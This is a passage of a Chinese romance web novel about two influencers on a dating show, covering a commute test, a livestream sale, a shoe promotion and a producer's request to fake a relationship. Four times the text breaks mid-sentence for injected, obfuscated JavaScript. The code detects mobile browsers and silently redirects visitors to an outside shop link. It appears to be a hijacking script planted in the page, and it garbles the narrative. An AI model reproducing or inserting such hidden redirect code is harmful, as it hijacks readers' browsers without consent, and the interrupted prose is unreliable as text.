从餐厅到地铁站要乘五站公交车。两人七拐八绕走了很久才到达公交站，一上车就一头扎进了黑压压的人群中，宋洋还被急着下车做功课的小朋友不小心踩了一脚。 “对不起，叔叔，我刚才没有看到，这个湿纸巾给你……”小朋友还是很有礼貌的。不过听到“叔叔”两个字，宋洋还是忍不住眉头一皱，脸色愈发难看。 “孩子是看你个儿高才叫叔叔的。”林穗安慰了一句。 “怎么还没到……我要喘不上气来了。” “再坚持一下，最后一站了。” …… “地铁站呢？怎么下了车还要走？” “就在对面，看到了吗？” “怎么买地铁票啊，没有现金可以吗？好麻烦啊……” “不用那么麻烦，刷手机就可以。” “那你教教我，我学一下……” 林穗看得出，虽说嘴上抱怨着，可宋洋依旧十分“听话”，让做什么就做什么，应该还是对自己的品牌很上心的。 小金一直恪尽职守，把宋少爷每一个“狰狞”的表情、每一句抱怨的话语都记录在案。 坦白讲，每每看到宋少爷出糗，小金内心都会划过一丝小小的开心。这开心当然不是“你丫也有今天”那种幸灾乐祸，而是欣慰于又有一个人从真空保护罩里走了出来，了解到外面真实的世界。 变形记，她拍的一定是变形记吧！ 换乘了三条线后，宋洋跟着林穗爬上了地铁口。 “差不多了吧？”他一脸疲惫完全不像演的。 “没呢，从这边到目标公司还得坐一段接驳车，咱们得去找接驳车的站点。就几百米了，加油。”说罢，林穗又将自己智能腕表上的计数拿给宋洋看了看：“从出发到现在，已经快六千步了。” 两人到达接驳车站点后，果然超过了六千步。 “接驳车咱们就不上了。不过单程六千多步，往返超一万步，这是板上钉钉了吧？”林穗说。 宋洋耷拉着脑袋去自动贩卖机买了三瓶矿泉水，分给了每个人，瓮声瓮气道：“可他们为什么不住得离工作的地方近一点呢？” “没钱啊……”林穗坦荡道，“租房子，每多一点舒适都是要拿钱买的。我刚毕业那年在杨浦找房，离地铁站400米远的小区就是比离地铁站1.8公里的月租贵600块钱。我手头的钱不多，就只能租那个远的。那些选择经济型鞋服品牌的年轻姑娘们，应该都能理解这样的经历吧。” 宋洋捏着矿泉水瓶，看着面前的车辆和行人，若有所思。 林穗接着道：“一个刚毕业的普通应届生，假设税前一万，到手就只剩八千出头。大城市的生活成本也不便宜：每月房租水电3000、吃饭1500、交通和话费400、买生活用品300，定期储蓄1500，这样子，在自己不病、手机不丢、报销不卡、工作之外没什么娱乐和爱好、身边也没有朋友突然结婚的情况下，还剩一千多块可以自己支配。一双698的鞋，对她们而言比你想象中要昂贵得多。” “你是想说我这款老爹鞋的定价和‘小小姐’的主要消费群体不符，对吗？”经过这么一通折腾，宋洋已经没了起初的逆反情绪，开始顺着林穗的思路思考起了自己的问题：“类似的话，我们商务经理也跟我说过几次。” “我不是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644213|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个意思。我没有卖过鞋子，对这方面不太专业，只能站在一个消费者的角度谈谈感受。一个平时对价格的接受度锚定在两三百元的消费者，愿意接受698这样的高价，证明她们对你们品牌足够喜欢、足够信赖，这当然是因为你们从前做得足够好。” 得到了夸奖，宋洋的脖子都骄傲得抻直了两厘米，对林穗的话也听得更认真了。 有些人果然是吃软不吃硬的。 “只不过，她们对这双鞋子的期待可能会和你设计之初有点不同。你或许是想把100分的设计感带给客户，也确实做到了，它真的很漂亮。但消费者们从实际出发，期待的可能只是80分的美丽加80分的实用。” 宋洋沉思良久，方道：“是啊，有道理。按你刚才的假设来看，这些年轻人们每个月购置鞋服的预算是额定的，用在买这双鞋子上就没法用来买另一双运动鞋了，这是道选择题……况且今天的实验证明，每天走一万步也不算太奇怪……该死的商务经理和厂长，他们早带我这么走一趟不就什么都说清楚了么？” 宋洋倒是没见外，说罢便打开了语音备忘录，把接下来的策略录了下来： 首先，这双鞋子现有的库存会做降价处理，统一以八折的形式出售。为了弥补已购消费者的损失，公司会安排客服主动联系她们退还差价。现有库存销售完毕后，该款老爹鞋将从“小小姐”撤出。 同时，他会联系工艺部对鞋子做一个材料升级，提高舒适度，当然成本和售价也会同步上升。但没关系，升级版的样鞋和图纸将被赠送给自家集团下的中高端品牌，进入到更需要它们的消费者视野中。 “不好意思董经理，我是小宋，您看这样处理合适吗？咱们还需不需要就鞋子磨脚这个事情发一条致歉微博？前两天是我太激动了……”宋洋虽然有时情绪化，可确实不怎么内耗，想通了就行动。 “哎呀！导演组和摄制组的老师们都到了，咱们快点往回赶吧……”小金提醒道。 宋洋挂断电话后，忙道：“抱歉抱歉，这次真是我的问题，我来打车！” 然而周五的晚高峰可从来不是开玩笑的，自打他们三人坐上车，车子的移动速度就没快起来过。 屋漏偏逢连夜雨，走到三分之一路程时，司机师傅又和别人发生了剐蹭，他们不得已站在街头重新叫车。 可路况图上红成一片的软件上显示，他们前面等待的还有四十多人…… Mo姐一个电话打到了小金这里：“怎么回事？嘉宾有你跟着还能闹出这么大的纰漏？我不管，你们八点半之前必须赶过来！节目组人手正紧张，能把所有资源都协调到一起去也就只有今天了。要是什么都录不上、让节目开天窗，你们谁承担得起这个后果？” 林穗和宋洋都知道，Mo姐这话是说给他们俩听的。 宋洋从小金手中接过电话，道：“能录，副导演姐姐，能录！只不过得稍微换个地方。麻烦您和节目组其他老师们说明一下情况，我这边安排人去接大家。” “你有什么计划？”宋洋低头发完信息协调好一切后，小金问他。 “相信我，肯定帮你们录够素材。直接去剧场，跟我走……” 他拉起林穗的手，在夜色中狂奔…… 16. Chapter 16 在灯火斑斓的苏州街头，小金扛着摄像机跟他们一起跑，边跑边感慨这《变形记》也是越来越全面了，中间还得穿插日剧跑。 镜头偶尔微微晃动，意外抖出某种失焦之美，她忽而又觉得像是在拍MV…… 这素材应该能用，因为她记得有位领导就喜欢这种风格——嗯，今天的累没白受，骂没白挨。 人生地不熟加上偶尔被路口的红灯打断，他们还是迟了。 宋洋拉着林穗气喘吁吁赶到剧院门口时，英国皇家芭蕾舞团表演的经典剧目《灰姑娘》已经接近了尾声。纵使是全体节目组人员都已在现场各就各位，今晚约会的最后一个“项目”也注定落了空…… 额头上满是汗珠的宋洋环视四周，看到了一个拉小提琴的“街头艺术家”。 他走上前去，摸了摸口袋，发现在奔跑的过程中手机已然不知掉落何处，于是只得摘下腕表押在对方那里，才将小提琴借了过来。 “坐吧……”他脱下外套，垫在剧院门口的台阶上，对林穗说。继而又道：“里面的演出没赶上，我在外面表演给你一个人听。点首曲子吧，唯一的VIP。” “我不懂小提琴，就拉你最喜欢的吧。”林穗说着，轻轻鼓掌以示捧场。 宋洋把琴架上肩头，小金忙敏锐地变换了镜头的角度，去拍他的下颌线。 宋洋：“那就拉一段我十七岁时自己写的旋律吧。那年刚被我爸赶去香港上学……” 第二集这下总算是不缺素材了。 一周后，《都市男女的恋爱法则》正片更新，拉小提琴这一段被“厂弟厂妹”cp粉反复拉出来咀嚼、二创。 “呜呜呜呜，这段就算是剧本我也被感动到了！皇家芭蕾舞团的表演错过了，但是没关系，你是我唯一的VIP！” “工友们，我感觉这不是剧本，看这俩人妆都没怎么化。厂弟那么自恋的一个人今天连头发都没吹，直接导致身高缩水两厘米，要是剧本他能忍？但是没关系，恋爱脑是男人最好的医美，更何况是有钱的恋爱脑帅哥呜呜呜呜……” “居然还会拉小提琴？哦莫，这张看起来没什么文化的绿茶脸背后究竟还隐藏着多少朕不知道的小秘密？” “这哥以后别卖鞋子了，培训培训去接戏吧，真的很适合演年下狐狸精男小三。” “你们都在夸赞男方浪漫，只有我一个人默默喜欢上了女方。这么温柔坚定的姐姐，心动了……” Mo姐对目前的热度十分满意。看着唯美又恰到好处的镜头，她在心中记了小金大功一件，甚至动了给她提前转正的念头。 至于这对大热cp后续怎么走，她认为已经是时候与他们做一些专业导向的沟通了…… ****** 宋洋愿赌服输来林穗这里当一天直播助理。 自称“工友”的cp粉们激动极了，把那场直播的预约人数直接干到了平时的三十多倍。 宋洋提前了两个半小时到场，一进展厅便郑重其事道：“提前声明，我可以替你们穿版，但裙子不可以太短。” 黎诗然一脸无语地翻了个白眼，将事先准备好的改良中山装丢给了他：“想什么呢，小林穿版，你当好今晚的摆拍工具人就成。” 今晚的上新内容正是林穗带去苏州拍摄宣传图的那组“新中式系列”。 坦白讲，这个系列最近让南叔很是头疼。 随着国潮时尚的兴起，年轻人们纷纷爱上了国风元素，也有越来越多的同行推出了自己设计的新中式，并在市场上取得了显著的成就。 南叔和厂里的骨干们也一早就想加入了，可这两年厂里的现金流吃紧，一旦决策失误，后果将难以承担。所以从去年年初拖到今年秋冬，在大浪淘沙般的反复筛选和打磨下，他们才终于在所有的样衣中慎之又慎地保留了十款，将其投入量产。 今晚是第一天正式开售，南叔也满心紧张地蹲在展厅里看他们直播。 “小伙子还是蛮帅气的嘞，有点我年轻时候的样子。”南叔很满意宋洋的“扮相”。 别看宋洋平时到处得瑟，像只逢人就开屏的孔雀，可是听见长辈这么直接的夸赞，还是不好意思地羞红了耳朵尖。 “姐妹们大家晚上好！开播喽开播喽。来，请我旁边这位朋友和大家打声招呼。”随着林穗的开场，直播正式开始。 “大家好，我是宋洋，今天是小穗的助理。”宋洋朝着镜头招了招手。 “今晚的新品大家有空一定要蹲住，都是很适合秋冬的、超级美丽的新中式，面料都是经过我们厂里技术科师傅、设计师和工艺部门小伙伴重重把关才选用的。咱们今天一边上新，一边和大家共同了解一下这些新中式在面料方面的学问。”此时此刻，林穗仿佛不单是直播间里的导购，还身兼“主持人”和“分享者”这两个角色，让人觉得看的不只是场卖货的直播，而是一期精心制作、既有趣又充满干货的自媒体节目。 “彤彤姐晚上好呀，你上周那套返图超级漂亮，谢谢！” “晓云妹妹今晚不上晚自习吗？出校过生日？啊，生日快乐！下次有订单的话随单送你一支发簪，我在苏州逛街时买到的。” “婷婷写的是古言吗？那正好今晚来取取材，我们晚点会和大家一起探讨面料和工艺……” 林穗和几个老粉朋友们互动了几句，便开始上新。 宋洋觉得她在直播时完全像换了一个人，变得开朗、健谈、极其善于社交。 他这下才相信原来人只要够专业，是完全可以将“工作性格”塑造得与“生活性格”截然相反的。 嗯，她身上还真是有些地方值得自己学习的——这么想着，他一出神，便不自觉地将头转向林穗。 看到这一幕，直播间的弹幕疯狂刷起了“好嗑” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667731|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，连南叔都忍不住会心一笑。 在线观看人数越来越多，多到让人以为这数据是假的。 可是再一看销量，几乎所有新品的库存都被买光了。 “您这下相信来的都是真人，不是机器人了吧。”黎诗然对南叔无奈道。 南叔大喜，悬着的心总算放回了肚子里去。 他扶了扶眼镜，仔细看着弹幕： “啊啊啊啊又没抢到！” “十六号链接还能加单吗？真的很喜欢！” “八号链接没有了吗？实在不行就放点预售吧！” “厂弟身上的男装挺好看，能上链接不？” “对呀对呀，想给我弟弟买一套让他谢师宴穿。” “我也要我也要，想买给老公穿去拍民国写真！” 问男士改良中山装的人越来越多，林穗便解释道：“这身黑色中山装是非卖品，没有大货，上不了的。” 只听南叔激动道：“上得了上得了！喜欢的话我们立马就做，等上十天左右就行！” 那是他年轻时的设计作品，也是他宁波工厂关厂前制作的最后一个款。当年的客人们嫌弃它造型老土样子过时，于是上千件库存滞销在仓库里。最终，有几十件被一折卖给了影视道具公司，其余的全都按公斤回收处理了。 多年之后，自己曾经的品味被今天的年轻人认可，南叔既开心又感动。往事涌上心头，甚至有些红了眼眶。 林穗对着镜头笑道：“行，那就听厂长的，咱们上个预售链接，有需要的朋友去拍。” 这个热闹的夜晚创下了六十万营业额的记录，南叔高兴得包了八百元红包和一条手工领带，让林穗务必带给宋洋。 林穗欣然应允，因为正好宋洋约她在下次拍摄之前见一面。 两人在咖啡馆碰头时，发现各自手中都有要带给对方的东西。 宋洋接过南叔给他的领带和红包，态度有所迟疑。 “怎么了，是人民币不喜欢，还是领带不喜欢？”林穗笑问。 “都喜欢。就是……我那天好像也没做什么，收人家的礼物会不会不太好。” “收下吧，毕竟是南叔的心意，他是真心喜欢你。” “好吧，那我就恭敬不如从命了。”吃下定心丸后，宋洋才放心流露出对这条手工领带的喜爱，将它拿在手中反复欣赏。 “对了，我也有样东西要给你。”收起领带后，他打开了身后手提袋中的鞋盒，里面躺着的是一双精美的红丝绒平底鞋。 “好美……”林穗不由得赞赏道。 “虽说那天打赌是你赢了、我输了，可我想来想去，还是希望如果有机会，你可以考虑和我们合作，接下我们家鞋子的推广。这款平底鞋来自‘玖美’，集团旗下三大轻奢线之一。不嫌弃的话可以先拿去穿。如果觉得好看又舒适，我们就进一步再谈。”宋洋道。 17. Chapter 17 要不要接下这个推广？接下的话具体该怎么推？林穗和菲儿一起琢磨起了这件事。 她们将鞋子放在沙发上，反复欣赏着它的美丽。 “真是太好看了，像童话故事里女王的晚宴鞋。扣件好精致，而且从不同的角度看，丝绒的色泽会变化。”菲儿也一眼就喜欢上了这双鞋，“居然还是双平底，不是高跟，简直造福人类……” “小穗，快接呀！玖美的定位可是轻奢品牌，你能赚到的不止有推广费，还有品牌背书。你还在犹豫什么？”菲儿道。 “就是因为它像‘女王的晚宴鞋’，就是因为它是轻奢品牌。”林穗娓娓分析道，“菲儿，你会相信一个在工厂上班的‘厂妹’每天穿着售价10900元的精致丝绒晚宴鞋，风尘仆仆挤完十几站公交车又下来骑共享单车吗？” 菲儿沉默了。道理是这么个道理，可已经到手的机会，谁又忍心让它飞走呢？这种取舍，简直比拿小刀剜走腿上的一块肉还令人难受。 “这双鞋子，还是需要一位有韵味、有阅历的模特。”林穗说。 正说着，林穗的手机突然来了通视频请求。 林穗接起，屏幕里是她的母亲周慧敏女士。 没错，就是这个名字，若问原因，只能说一代人有一代人的追星。 周慧敏女士一脸焦急，甚至忘记了先问候一下她的干女儿菲儿。 “小穗，你你你怎么上谈恋爱的节目了？你跟上面那个宋什么是真的假的？要不是你表姐昨天发给我，我还什么都不知道。妈妈跟你说，选男人不能光看脸。那个男的不行，一看就油腔滑调的，靠不住！” 看着林穗瘦了一半的小脸，周女士十分心疼道：“最近是不是又没好好吃饭？怎么瘦成这样了，跟个小外星人似的……妈妈过去看看你吧？” 林穗瞬间灵光一闪，与菲儿对视一眼后，她知道两人都有了相同的主意。 去虹桥接站的那天，菲儿做了一个写有“周慧敏”三个字的硕大名牌，搞得周围人都以为是明星要来了。 “你们把这里收拾得还挺干净的嘛，不错不错。妈妈再给你们买几只花瓶，就可以在电视柜旁边摆点鲜切花了。这个厨房好像还缺个置物架，妈妈得给你们收拾收拾……”周女士一边参观着林穗和菲儿的住处，一边点评道。 “干妈，您先坐下来歇歇，内务方面我和小穗都会自己搞定的。就是有点别的事想求您帮帮忙。”菲儿为慧敏端来了咖啡和果盘。 周女士端起咖啡品了一口，笑道：“这杯肯定是菲儿买的吧？你和干妈一样，就喜欢这种浅烘焙的豆子，有一股花果香。” 周女士五十多年的人生中有两种截然不同的色彩。 她四十八岁以前的人生，纵使放在最严苛的社会凝视下，也堪称完美的模板——从小衣食无忧，受尽父母宠爱；人到中年房车不愁，婚姻状况稳定，自己有一份虽然收入不高但胜在清闲体面的在编工作，女儿还是重点中学的好学生。而她本人也是出了名地优雅美丽、保养得当。那时，人人都惋惜林穗没遗传上妈妈的好基因。 四十八岁婚变后，除了工作和女儿还是自己的，她什么都没有了。周女士不得不从原先的大平层搬进了城中村的出租屋，拿着在离婚谈判中争取来的为数不多的存款，担忧起自己和女儿的未来。正因此，她退休之后才马不停蹄地跑起了保险，从一个以前总是被恭维的人变成了总是需要好言好语求别人的人。 用现在的流行词汇说，周女士是个生存能力并不怎么强大的“笨蛋美人”，她不擅长省钱和理财，也始终适应不了“见人说人话，见鬼说鬼话”的社交规则。可林穗依旧为自己的母亲感到骄傲，因为她从未灰心丧气过，从未放弃过为更好的生活拼命努力，从不回头看，也永远发自内心地热爱着自己的人生—— 纵使是在三十年房龄的出租屋里请朋友喝茶，也要裁了自己的旧旗袍，给茶几做块漂亮的桌布；就算是因为没钱，只能把普拉提会所的会员卡给退掉，她也会买双便宜好穿的运动鞋，每天早上六点下楼晨跑来保持身材。 林穗和菲儿为这次推广策划的特别节目叫做《女王与芭比》。“女王”无疑是周女士，而“芭比”则是林穗。 这还是她们运营账号以来头一回以视频节目的形式做穿搭分享。 在这期视频中，周女士将走“女王风”，展示五双玖美样鞋的搭配，主打一个成熟优雅、精致显贵； 林穗则走“芭比风”，采用了菲儿研究很长时间的“韩国四五代女团同款妆造”，展示的是五双“小小姐”的样鞋搭配，主打一个青春美丽、平价易拷贝。 一次推两个，赚双份的钱，高效。 周女士向来很喜欢接触新鲜事物，这个忙帮得乐在其中。 “瞧我干妈这皮肤，完全不需要遮瑕，直接上底妆就好了。”菲儿给周女士上妆时夸赞道。 其实这也不全然是菲儿嘴甜，主要是周女士心态一直蛮好，就算有天大的事情，过去了就过去了，不内耗也不记仇，所以皱纹都显得比同龄人少许多。 “菲菲啊，你有没有见过那个小宋呀，他为人正不正派，善不善良？”周女士还是放心不下女儿的“恋情”。 菲儿笑道：“干妈，那些都是演的，咱们小穗不可能真的跟上面的人谈恋爱。” “唉……她谈恋爱我肯定不反对，关键是对方得靠谱。” “那干妈你喜欢什么样的女婿呀？” 周女士想了想，说：“长相、家庭、哪里人都不重要，关键是要有担当，有责任心。脾气要好，学历嘛越高越好，硕士起步，博士更好。最好还是学理工科的……” 林穗不算是太爱说话的人，菲儿则很喜欢聊天。周女士一来，两人总算是找到了知音，边做妆造边谈天说地，从明星八卦聊到金融新闻，热火朝天，不亦乐乎。 林穗蓦然感到被一股巨大的幸福感从头到脚包围——要是这样的日子能一直继续下去就好了。 拍摄的过程很顺利，因为周女士永远那么富有镜头感。 菲儿在剪辑时还专门保留了一些母女相□□评对方穿搭的片段，显得温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673243|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馨又美好。 然而菲儿也是第一次操刀视频的剪辑，当成片全部剪辑完毕后，她总觉得哪里不对。 “实在不行咱们花点钱去请人帮忙优化吧？”林穗提议道。 菲儿摇摇头：“No！你现在高低也算是小网红了，要是传出去咱们连视频后期都得在网上找人外包，潜在的金主妈妈们该怎么想呢？” 菲儿沉思片刻，拿起手机，在“早睡早起，天天向上”的群聊里问道： “金老板，你身边有比较擅长自媒体视频剪辑的朋友吗？急需。” 过了一会儿，金鑫艾特了肖潜，说：“他。他们学院院庆的开场视频和微电影都是他剪的。” 林穗是带着现金红包和菲儿一起去见肖潜的。为了避免对方再次拒绝接收转账，她打算在他去洗手间的间隙直接将红包塞进他的双肩包里。 肖潜看完素材后，和她们敲定了所需的风格便着手干起活儿来。 “我建议这里不要插入bgm，会比较吵，影响到整体的效果。”他双眼紧盯着屏幕，提出了自己的建议。 “我觉得可以，把这段bgm删掉吧，转场的音效保留就好。”林穗说。 “嗯，好的。” “什么bgm要删？先给我看看。”宋洋的声音在背后响起。 林穗意外道：“你怎么在这里？” 宋洋倒是不见外，拉了张椅子就坐在了桌旁：“许小姐约我来的呀，她说我作为品牌方可以在制作的过程中给点意见，省得全部剪辑好之后推翻再改。” 菲儿拉过林穗，小声耳语道：“他们家付了十八万推广费哎，看在钱的份儿上，咱们千万服务到位……” “好吧，不过下次约人之前记得先和我打声招呼……”林穗说。 菲儿比了个OK的手势：“没问题！” 金老板的咖啡馆人来人往，又都是年轻人，周遭已经有人认出了宋洋和林穗，甚至有个别客人拿出了手机拍照。 菲儿默默把他们卡座前的纱帘拉上。 “我疏忽了，只想着这边比较方便就约在这儿了。下次还是直接去我们家吧。”菲儿说。 宋洋轻“哼”了一声，撇撇嘴道：“你们两个女孩子住，让不太熟悉的异性去你们家不大好吧？下次如果有需要，直接来我们家的办公室就成。我家在浦东、静安、虹口都有office，想去哪边我来安排。” 听他的语气，他口中“不太熟悉的异性”很明显不是指自己，而是指肖潜。 林穗觉得宋洋一下子又从被《变形记》改良过的版本退回了原形，今天下午整个人都阴阳怪气的。但她也无暇多理会，只是埋头和肖潜一起专心讨论视频。 肖潜：“结尾彩蛋之前我加了五秒钟的拍摄花絮混剪，看看这样子行吗？” 说着，肖潜将电脑转向了林穗的方向。 宋洋也转向坐在林穗身旁的菲儿，眨着这一双清澈而无辜的大眼睛，问道：“菲儿姐姐，你介意和我换个座位吗？我想坐在你那边和小穗一起看看效果，可以吗？” 18. Chapter 18 本来打算一下午三小时就速战速决，但由于不速之客宋洋的加入，一群人愣生生拖到了天黑。 忙乱之中，林穗忘记了把红包偷偷塞给肖潜，然而第二天中午她便收到了肖潜的微信： “感谢带我赚钱。” 截图是玖美品牌的公司账户转账给他的四万五千元钱。 林穗感慨大品牌就是财大气粗，连剪辑费用都是市场行情的□□倍。菲儿却无奈叹道：“这是宋少爷在置气呢，就你一个傻瓜看不出来。” 《女王与芭比》的第一期就火了：成熟风的阿姨姐姐们是去看周女士分享穿搭的，学生党和职场新人们是去抄林穗的平价穿搭作业的。当然，也有很多人是去围观她们母女互动的。 “小穗高二的时候跳双人舞，舞伴正好分到她喜欢的男孩子。她就跟我说：妈妈，我换双平底鞋去吧，不然就比人家高了。我说小穗你就穿高跟的，怎么漂亮怎么来，这男孩子要是真的喜欢你，你比他高一头他也应该发自内心地认为你真厉害，长得跟模特似的……” “孩子们，咱们高就要高得自信。高个子再配上高跟鞋，正好让所有人都远远就看见你们妈妈给你们的这张漂亮脸蛋儿！” 介绍玖美一双七点五厘米的浅杏色哑光高跟鞋时，周女士讲起了如上的故事。镜头下的她眉飞色舞，对儿时的林穗充满了无限的爱意。 很多人都被这段感动了，纷纷留言称周女士为自己的“赛博妈妈”： “慧敏姐姐下集还来好吗，我宣布你以后就是我的赛博妈妈了！” “我个子也高，胸还大，上中学时被班里不怀好意的男生开过很过分的玩笑，说我是携带巨型地雷的坦克。所以整个青春期我都很自卑，走到哪里都含胸驼背低头。长大了才知道，老娘的身材明明全都是优点！不是我太高，是那些男生太矮！谢谢慧敏姐姐，这期视频里的您好像隔空抱了抱当年那个手足无措的小女孩。” “求求了，多拍，爱看。” “慧敏姐真是个好开明的妈妈啊，怪不得小穗的性格这么随和。我要是高中时候说我喜欢哪个男生，我妈动手揍我一顿都算轻的。” 林穗自己好像也被这些留言治愈了。 经历过被至亲赶出家门、被领导职场霸凌，她的情感官能仿佛已经麻木许久，甚至偶尔在心中默默抱怨命运并不偏爱自己。可网友们作为旁观者的发言却突然提醒了她，她曾经也是个在爱意中长大的小孩子，理应珍惜现在的一切并对未来充满希望。 品牌方对此次的推广效果颇为满意，视频发布后没多久就火速结清了尾款。 Mo姐约见“厂弟厂妹”cp的那天，宋洋见了林穗，第一件事还是跟她感叹那期视频的效果。 “谢谢你啊，小小姐之前在推广上也花过不少钱，但都没有这次这么奏效。”宋洋说，“对了，玖美事业部的总经理也非常喜欢你和阿姨的视频，让我把这个带给阿姨。” 他拿出一只精美的礼盒，里面是一只形状精巧狭长的深绿色鳄鱼皮镶钻手拿包。 翠匣开寒镜，珠钗挂步摇——这是林穗看到它时脑海中划过的第一句话。 林穗原先也见菲儿种草过类似版型的手拿包，只不过是缎面材质的。菲儿说这种别致的包型和经典的设计宜古宜今，既能配旗袍也能配西式礼服。如果身上佩戴了珠宝的话，拿来装点日常穿搭也是绝妙。然而用稀有皮做这种包，她还是第一次见。 林穗瞬间共情了为什么有那么多人喜欢买奢侈品。她得承认，纵使清楚自己在生活中完全用不上这种展览品般的包包，但在看到它的那一刻，还是会被它惊人的美貌所折服。 见林穗没有立即表示要收下，宋洋忙补充道： “这款也是玖美的新品，预计下个月正式推出。事业部总经理想请阿姨试用一下，看看有没有机会再出一期玖美箱包的视频。” “你们这么优质的甲方，我们当然乐意效劳。”林穗笑道，“不过有个问题我很好奇……” “嗯？” “你负责的品牌不是‘小小姐’吗？为什么还要代表玖美来谈业务？” 宋洋挠了挠头，不好意思地笑笑：“人总得有点上进心嘛，虽说运营小小姐也给了我不少成就感，可谁想永远只在经济型品牌中打转呢？我也想往上走，就只能先给玖美的叔叔阿姨打打白工，向他们证明我是这块料，再看他们给不给机会喽。” 果然，家族企业也不是创始人的一言堂，所谓的“大少爷”想做成点什么事，要说服的远远不止自己父母二人。 “所以你想当网红也是为了推广自家鞋子？”林穗问。 “对啊……”宋洋疯狂点头，“刚接手小小姐时我找过一些‘头部网红’，发现他们要价又黑又不敬业，做的推广视频无一例外全是套模板，MCN公司的要求还特别蛮横无理。我一生气就决定自己去当网红了，不给这些中间商赚差价的机会。” 林穗笑出了声：“这么说来，我们第一次见面时你说要找好看的女生，其实是为了让人家穿小小姐的样鞋；你编的那些剧情也不是为了自己演着好玩儿，而是真心以为大家都爱看？” 宋洋一本正经道：“对啊，品牌方都希望为自家选一个外形条件合适的模特，这也无可厚非吧。至于那些剧情，都是我琢磨了好久网友的喜好、熬了好几个通宵才写出来的，很辛苦的好不好？” “我突然觉得挺对不起你的，真的，你白给自己招来好多骂……”林穗头一回体验到了“笑出眼泪”是什么感觉，“你要是真想红，在你的江景豪宅里直播拉小提琴都比演那些东西快。编导可能不是你最有天赋的领域，哈哈哈……” 宋洋无奈，默默为她递上一张纸巾。 宋洋：“那个……我都回答了你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687495|143713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题了，你也回答我一个？” “嗯，你说。”林穗用纸巾擦干了眼角的“泪花”。 “昨天那位剪视频的小哥哥是你的朋友还是菲儿姐姐的朋友啊？”他小心翼翼问道。 “我们俩的朋友。” “噢……那他是做什么的呀？” “在读博。” “那是蛮辛苦的。我听别人说读博的收入不高，有些人遇见了喜欢的女孩子，都没钱请人家吃高档餐厅。而且还要给导师免费做这做那的，怪不得他视频剪得那么好。对了，他多大年纪呀？”他一面观察着林穗的反应，一面幽幽道，语气中又浮现出他那种独有的阴阳怪气。 “和我们一样大，比你年长些。”林穗说，“你怎么对他这么好奇？你也想考交大的博吗？” “不想……” “Mo姐开完会了，两位请跟我来一下吧。”Mo姐的助理前来，将他们带往Mo姐的办公室。 Mo姐在工作中是个快人快语的爽利人。 “今天找两位来是想聊一下接下来的录制安排。目前网友们很喜欢你们的cp，节目组希望你们可以循序推进，最终满足大家对你们‘在一起’的期望。Ok吗？”Mo姐直白得毫无半点措辞上的讳饰。 “我觉得可以。大家喜欢看什么我们就表现出什么，这样也能让我们和节目组互利共赢。”一谈及正事，宋洋立马清醒敏锐起来。 Mo姐拿出手机，给两人看他们在咖啡馆被路人偶遇时拍下的照片。那篇微博上写着： “看呀，厂弟厂妹绝对是真的！穗姐都开始带厂弟见她的朋友了！” Mo姐：“像这样的私下营业也可以再多些。但‘浓度’方面也要把握好分寸，不能太密集也不能太直接，有些观众就喜欢自己在缝隙里找糖。” 看Mo姐和宋洋将“炒cp”这件事谈论得如此自然而然、理所应当，林穗心中不免有种隐隐的不适。 她总觉得“炒cp”也是有程度之分、性质之别的：如果只是观众自发去嗑两人之间的氛围感，那便是“众乐乐”；如果是当事人主动引导、暗示，乃至于欺骗观众两人已经在一起了，那就是另外一回事了。 “Mo姐，您是说我们不光要在节目中多多互动，还要对外宣称现实中已经在一起了吗？”林穗道。 “没错。至少在节目结束后的半年内，你们都得对外维持‘真情侣’的形象。半年之后如何，我们不会管。”Mo姐说，“当然，节目组也不会亏待你们。这一季人气最高的情侣会被选去代言‘骆驼旅拍’跟‘和怡温泉酒店’，不出意外的话就是你们了。” “谢谢Mo姐看好。”宋洋道。 “想清楚的话，法务马上来和你们签保密协议。谨慎起见，我建议你们和身边亲友也不要说你们没有真的在一起。违反了保密协议可是要赔款的。”Mo姐道。 19. Chapter 19 “让我想一想吧，Mo姐。” 